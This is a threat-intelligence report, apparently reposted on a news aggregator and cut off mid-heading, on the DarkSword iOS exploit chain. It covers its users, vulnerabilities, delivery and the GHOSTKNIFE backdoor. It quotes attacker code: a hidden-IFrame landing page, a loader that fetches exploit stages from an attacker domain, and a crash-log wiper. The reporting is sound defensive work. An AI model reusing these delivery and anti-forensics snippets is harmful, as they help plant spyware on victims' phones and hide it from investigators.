Security News

Cybersecurity news aggregator

🍎
CRITICAL Attacks Mandiant

The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors

The DarkSword iOS exploit chain leverages multiple zero-day vulnerabilities to fully compromise devices via watering hole campaigns, deploying final-stage malware payloads like GHOSTBLADE. Based on NVD data, key vulnerabilities include CVE-2025-31277 (CVSS 8.8), CVE-2026-20700 (CVSS 7.8), and CVE-2025-43529 (CVSS 8.8). Affected versions are detailed per CVE, with fixes available in iOS/iPadOS 18.6, 18.7.3, and 26.3; users should update to these specific versions or enable Lockdown Mode if an update is not possible.
Read Full Article →

Threat Intelligence The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors March 18, 2026 Google Threat Intelligence Group Google Threat Intelligence Visibility and context on the threats that matter most. Contact Us & Get a Demo Introduction Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine. DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit . Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns. In this blog post, we examine the uses of DarkSword by these distinct threat actors, provide an analysis of their final-stage payloads, and describe the vulnerabilities leveraged by DarkSword. GTIG reported the vulnerabilities used in DarkSword to Apple in late 2025, and all vulnerabilities were patched with the release of iOS 26.3 (although most were patched prior). We have added domains involved in DarkSword delivery to Safe Browsing , and strongly urge users to update their devices to the latest version of iOS. In instances where an update is not possible, it is recommended that Lockdown Mode be enabled for enhanced security. This research is published in coordination with our industry partners at Lookout and iVerify . Discovery Timeline GTIG has identified several different users of the DarkSword exploit chain dating back to November 2025. In addition to the case studies on DarkSword usage documented in this blog post, we assess it is likely that other commercial surveillance vendors or threat actors may also be using DarkSword. Figure 1: Timeline of DarkSword observations and vulnerability patches Saudi Arabian Users Targeted via Snapchat-Themed Website (UNC6748) In early November 2025, GTIG identified the threat cluster UNC6748 leveraging a Snapchat-themed website, snapshare[.]chat , to target Saudi Arabian users (Figure 2). The landing page on the website included JavaScript code using a mix of obfuscation techniques, and created a new IFrame that pulled in another resource at frame.html (Figure 3). The landing page JavaScript also set a session storage key named uid , and checked if that key was already set prior to creating the IFrame that fetches the next delivery stage. We assess this is to prevent re-infecting prior victims. In subsequent observations of UNC6748 throughout November 2025, we observed them update the landing page to include anti-debugging and additional obfuscation to hinder analysis. We also identified additional code added when the actor attempts to infect a user using Chrome, where the x-safari-https protocol handler is used to open the page in Safari (Figure 4). This suggests that UNC6748 didn't have an exploit chain for Chrome at the time of this activity. During the infection process, the victim is redirected to a legitimate Snapchat website in an attempt to masquerade the activity. frame.html is a simple HTML file that dynamically injects a new script tag that loads in the main exploit loader, rce_loader.js (Figure 5). The loader performs some initialization used by subsequent stages, and fetches a remote code execution (RCE) exploit from the server using XMLHttpRequest (Figure 6). We observed UNC6748 activity multiple times throughout November 2025, where both major and minor updates were made to their infection process: The first UNC6748 activity we observed only had support for one RCE exploit split across two files, rce_module.js and rce_worker_18.4.js (Figure 7). This exploit primarily leveraged CVE-2025-31277, a memory corruption vulnerability in JavaScriptCore (the JavaScript engine used in WebKit and Apple Safari), and also CVE-2026-20700, a Pointer Authentication Codes (PAC) bypass in dyld . We then identified activity several days later where another RCE exploit was added, rce_worker_18.6.js (Figure 8). This exploit used CVE-2025-43529, a different memory corruption vulnerability in JavaScriptCore, alongside the same CVE-2026-20700 exploit in the same file. The loader was modified to also fetch a rce_module_18.6.js payload, which only defined a simple function that was not observed in use elsewhere. However, the logic implemented for this did not correctly serve the iOS 18.4 exploit if the device version wasn't 18.6, and did not account for the existence of iOS 18.7, even though it was released two months prior in September 2025. This suggests that this update may have been originally written months prior to UNC6748 acquiring and/or deploying it. Later in November 2025, we observed another module added, rce_worker_18.7.js (Figure 9). This was an updated version of rce_worker_18.6.js , but with offsets added to support iOS 18.7. There was also a logic flaw in the loader in this case, as it loaded the exploit for iOS 18.7 regardless of the detected device version. In our observations, UNC6748 used the same modules for sandbox escapes and privilege escalation, along with the same final payload, GHOSTKNIFE. Figure 2: snapshare[.]chat decoy page if (!sessionStorage.getItem("uid") && isTouchScreen) { sessionStorage.setItem("uid", '1'); const frame = document.createElement("iframe"); frame.src = "frame.html?" + Math.random(); frame.style.height = 0; frame.style.width = 0; frame.style.border = "none"; document.body.appendChild(frame); } else { top.location.href = "red"; } Figure 3: Landing page snippet that loads frame.html (UNC6748, November 2025) <!DOCTYPE html> <html> <head> <title></title> </head> <body> <script type="text/javascript">document.write('<script defer=\"defer\" src=\"rce_loader.js\"\>\<\/script\>');</script> </body> </html> Figure 4: frame.html contents (UNC6748, November 2025) if (typeof browser !== "undefined" || !isIphone()) { console.log(""); } else { location.href = "x-safari-https://snapshare.chat/<redacted>"; } Figure 5: Landing page code snippet showing x-safari-https use (UNC6748, November 2025) function getJS(fname,method = 'GET') { try { url = fname; print(`trying to fetch ${method} from: ${url}`); let xhr = new XMLHttpRequest(); xhr.open("GET", `${url}` , false); xhr.send(null); return xhr.responseText; } catch(e) { print("got error in getJS: " + e); } } Figure 6: rce_loader.js snippet showing the logic for fetching additional stages (UNC6748, November 2025) let workerCode = ""; workerCode = getJS(`rce_worker_18.4.js`); // local version let workerBlob = new Blob([workerCode],{type:'text/javascript'}); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 7: rce_loader.js snippet showing a single RCE exploit worker being loaded (UNC6748, November 2025) let workerCode = ""; if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2') workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version else workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version let workerBlob = new Blob([workerCode],{type:'text/javascript'}); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 8: rce_loader.js snippet showing (attempted) support for different RCE exploit workers (UNC6748, November 2025) let workerCode = ""; if(ios_version == '18,7') workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version else workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version let workerBlob = new Blob([workerCode],{type:'text/javascript'}); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 9: rce_loader.js snippet with iOS 18.7 support added (UNC6748, November 2025) GHOSTKNIFE In this activity, we observed UNC6748 deploy a backdoor GTIG tracks as GHOSTKNIFE. GHOSTKNIFE, written in JavaScript, has several modules for exfiltrating different types of data, including signed-in accounts, messages, browser data, location history, and recordings. It also supports downloading files from the C2 server, taking screenshots, and recording audio from the device's microphone. GHOSTKNIFE communicates with its C2 server using a custom binary protocol over HTTP, encrypted using a scheme based on ECDH and AES. GHOSTKNIFE can update its config with new parameters from its C2 server. GHOSTKNIFE writes files to disk during its execution under /tmp/<uuid>.<numbers> , where uuid is a randomly generated UUIDv4 value and numbers is a hard-coded sequence of several digits. Under that directory, it creates multiple subfolders including STORAGE , DATA , and TMP . As each module of GHOSTKNIFE executes, it writes its data to /tmp/<uuid>.<numbers>/STORAGE/<uuid2>.<id> , where id is the numeric value of the module and uuid2 is a different randomly generated UUIDv4 value. Additionally, GHOSTKNIFE periodically erases crash logs from the device to cover its tracks in case of unexpected failures (Figure 10). cleanLogs(){ let files = MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/"); for(let file of files){//.ips // mediaplaybackd-" panic-full- if(file.includes("mediaplaybackd") || file.includes("SpringBoard") || file.includes("com.apple.WebKit.") || file.includes("panic-full-") ){ MyHelper.deleteFileAtPath(file); } } } Figure 10: GHOSTKNIFE snippet responsible for deleting crash logs Campaigns Targeting Users in Turkey and Malaysia (PARS Def

Share this article